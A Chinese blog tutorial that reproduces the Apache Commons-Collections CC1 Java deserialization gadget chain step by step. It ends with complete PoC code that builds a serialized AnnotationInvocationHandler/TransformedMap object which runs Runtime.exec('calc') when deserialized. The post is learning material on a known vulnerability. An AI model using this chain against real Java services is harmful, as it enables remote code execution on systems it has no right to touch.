首页 > 编程语言 >[java安全基础 03]CC1

[java安全基础 03]CC1

时间:2022-12-12 22:35:16浏览次数:79  
标签:03 java InvokerTransformer Object CC1 Class new Runtime class

Commons-Collerctions链条

Apache Commons-Collections简介

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库.它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere,Jenkins等知名大型Java应用都使用了这个库。

-些Java应用程序(Weblogic,Websphere,Jboss,Jenkins,Coldfusion等)的RCE漏洞都是因为Commons-Collections的反序列化造成的

image-20221209223549101

环境准备

java下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

mevn仓库:https://mvnrepository.com/

所用mevn依赖:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

openjdk:https://hg.openjdk.java.net/

使用:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

在jdk1.8_65中,将src.zip解压成文件夹
然后将下载的jdk-af660750b2f4解压,将其src/share/classes/sun文件夹复制粘贴到jdk1.8_65的src中

image-20221209155320893

接着,创建一个mevn项目在idea中的file->project structre中,将src目录添加进去

image-20221209165203928

最后后在pom.xml中添加,刷新一下mevn

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
</dependencies>

复现过程

首先构造一个简单的命令执行代码

package com.example;

import org.apache.commons.collections.Transformer;

import java.io.*;

public class CC01Test02 {
    //    在走一次CC1
    public static void main(String[] args) throws IOException {
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc");
    }


    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object object = objectInputStream.readObject();
        return object;
    }
}

Transfomer

首先默认我们知道Transfomer是危险的;

Transfomer是Commons collections的一组功能类

Transformer中只有一个待实现的一个接口

image-20221209223814499

点击左边的图标,查看实现的方法:一共14个,实现了不同的功能

image-20221209223946191

例如: transform在ChainedTransformer中的实现:

实现功能:调用初始化传入Transformers数组的transformer方法,并且将上一个返回结果作为下一个transformer方法的参数

image-20221209224506366

例如:transform在ConstantTransfoermer中的实现

实现功能:返回创建ConstanTransformer实例时传入的对象

image-20221209224624369

例如:transform在InvokeTransformer中的实现

实现功能:以反射方式,调用创建InvokeTransformer实例时传入的方法

image-20221209224916750

发现这个实现的函数有点危险;考虑能否进行利用(当然能利用);

InvokeTransformer

发现InvokeTransformer构造时的三个参数都是可控的:一次是调用的方法调用的方法的参数类型调用的方法的参数

考虑使用InvokeTranssformertransformer方法来执行Runtimeexec方法

于是:
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
可以写成:
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

相当于在transformer中可以看到是通过了反射实现的,这里我们就找到了一个危险函数;

接下来就需要找一个不同的类中不同的方法调用了Transform

右击Transform方法,点击Find Usages,能够看到有21个利用;就一次开始寻找;

image-20221209230457494

要明确,得在一个其它的类中调用transform的,如果是同名的调用就无法往上一层走,因为我们要从这个transformer依次找找找,找到一个入口;就像做PHP反序列化题目挖pop链一样;从危险函数(eval,system)到一个入口函数(如:wakeup,destruct)

我们找到有一个Transformmap,这里实现了很多的transform,考虑在这里进行利用;至于为什么是再这里利用,我只能说CC1就是这么走的,当然可以试试其它链路的利用,我就能力有限,只能拾人牙慧看着视频这么向上走CC1;

image-20221209231334398

即:利用此处的transform

image-20221209233152728

TransformedMap

上面说到利用TransformedMap的checkSetValue方法中的valueTransfomer.transfomer,所以这里就需要检查一下TransformedMap是怎么样的;

于是看一下TransformedMap的构造方法:

image-20221209232114398

发现这个构造方法是一个保护类型,所以一定是被调用的,所以再看哪里调用了这个方法,发现在decorate方法这里进行了调用,并且返回了一个Map对象;

image-20221209232257360

先写两步

于是将
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
改成:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//调用decorate方法,需要传入一个map(Map map)所以这里定义一个haspmap
TransformedMap.decorate(map,null,invokerTransformer);
//由于利用的TransformerdMap中的checksetValue方法,且在该方法中只用了valueTransfomer,所以上一句这里不用传入keyTransfomer

于是,当调用到checkSetValue函数时,就会执行valueTransformer.transform,由于传入的valueTransfomerinvokerTransformer;所以这里就相当于执行invokerTransformer.transform

接下来就需要再找,哪里执行了checkSetValue方法,依旧是通过Find Usages,找到只有一个地方进行了调用:

image-20221209234012292

AbstractInputCheckedMapDecorator

这个setvalue方法实际就是在遍历hashmapsetvalue

for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

因为发现:TransformedMap类继承了AbstractInputCheckedMapDecorator类,并且在AbstractInputCheckedMapDecorator类中重写了setvalue方法,也就是说,当遍历被修饰的map的时候,就会走到setvalue方法,然后就会走到checksetvalue;

最后将代码修改成这样

 public static void main(String[] args) throws IOException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
     //设置一个键值,这样才能进入setValue
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }

这样就代表链子可以用,算是执行到了一半了;

然后开始找哪里调用了setvalue

AnnotationInvocationHandler

然后在这个类中找到了setvalue的调用,并且这是在一个map中,符合了测试的格式;更妙的是,它是在readObject中;

再看这个类的构造函数

image-20221212200454554

在构造函数中传入的参数都是可控的:

Annotation:是注解,就是@Override那些注解;Class<? extends Annotation>是继承注解;

Map传入transformermap就行;

由于构造函数中没有写public,那么就是default类型,default类型又必须在本类中调用,所以需要用反射来反射一个对象出来;

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

这里就先改成这样;链子就算是走完了,但是这里没法执行,还有一些问题需要修改;

ChainedTransformer

由于Runtime没得反序列化接口,所以也得走反射反射一个类出来;所以用IvokeTransformer来反射一遍,并且用ChainedTransformer,连接一次

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

然后调试一下看看会不会正常的执行进去;

image-20221212211928366

在调试过程中发现,这里是妹纸的;这个menberValues是注解中的值,但是这里的注解用的是Override;换成Target;在Target中有一个值是value;所以设置值也设置为value

 public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

然后这里就走到了setValue

但是在调试中发现,这里传入的是一个Ann.....对象;

ConstantTransformer

在调试中,发现,最后执行transform方法在这里:

image-20221212220306359

传入的是一个Annota...对象,对这个对象执行transform

不过这个时候需要传入的是个Runtime.class

于是想到了ConstantTransformertransform方法,它返回的值是传入的值,所以在构造chain的数组中加一个进去;

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };

这样调试的时候就会有一个Runtime.class了;

image-20221212220647791

此时,整条链子跑完了;

调用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map.Entry.setValue()
              TransformedMap.checkSetValue()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

完整代码

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;

public class CC01Test02 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }


    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object object = objectInputStream.readObject();
        return object;
    }
}

标签:03,java,InvokerTransformer,Object,CC1,Class,new,Runtime,class
From: https://www.cnblogs.com/upstream-yu/p/16977295.html

相关文章

  • [java安全基础 02]反射
    java反射这一篇和上一篇对不上,这里是补一下java反射知识点一个需求引出反射请根据配置文件re.properties指定信息,创建Cat对象并调用方法hiclassfullpath=com.hspedu.......
  • restTemplate报了java.lang.ClassCastException
        主要是针对返回结果是带泛型的,比如这里泛型是UserAccount,而实际返回的结果是BaseResult<LinkedHashMap>,需要自己利用json工具再度转化一下。......
  • flask-03
    一、请求与响应1.1请求对象请求对象是全局的,需要导入,这个全局的request。在哪个视图函数中,就是当次的request对象不会乱defindex():#request.method提交的方法......
  • JAVA Socket超时浅析
    转自:https://developer.aliyun.com/article/270260套接字或插座(socket)是一种软件形式的抽象,用于表达两台机器间一个连接的“终端”。针对一个特定的连接,每台机器上都有......
  • 平衡二叉树(java版)
    题目描述:标签:树深度优先搜索递归给定一个二叉树,判断它是否是高度平衡的二叉树。本题中,一棵高度平衡二叉树定义为:一个二叉树每个节点的左右两个子树的高度差的绝对值......
  • JAVA 单例模式 饿汉和懒汉
    单例模式特点:①单例类只能有一个实例②私有构造方法,不允许通过其他类创建单例类的实例③提供静态get方法返回单实例饿汉式:类加载的时候就创建实例懒汉式:类加载时不创建......
  • Java实现LRU算法
    文章目录1、内存空间有限,当缓存满的时候,如何淘汰缓存?2、实现LRUdemo使用Java容器LinkedHashMap哈希表(HashMap)+双向链表 1、内存空间有限,当缓存满的时候,如何淘汰缓......
  • Java实现二叉树的先序、中序、后序、层序遍历(递归+非递归方法),附带自己深入浅出的讲解
     二叉树(Binarytree)是树形结构的一个重要类型,也一种非常重要的数据结构,更是算法题中高频出现的知识点,不管是为了应付工作还是面试,都有必要深度学习一下。二叉树有多种遍......
  • java学习笔记--java介绍,一些基本知识,面向对象的理解
    <1>Java介绍1)Java的特点简单易学    是c和c++的变种,而且摒弃了其中容易引起程序错误的地方,比如结构体,内存回收等。提供了丰富的类库。完全面向对象。安全性高......
  • JavaScript奇淫技巧:用密码保护你的照片
    JavaScript奇淫技巧:密码保护的私密图片JavaScript奇淫技巧:图片压缩、图片加密本文将用JavaScript实现两个颇有技术含量的功能:图片压缩、图片加密。最终效果:可实现将任意图片......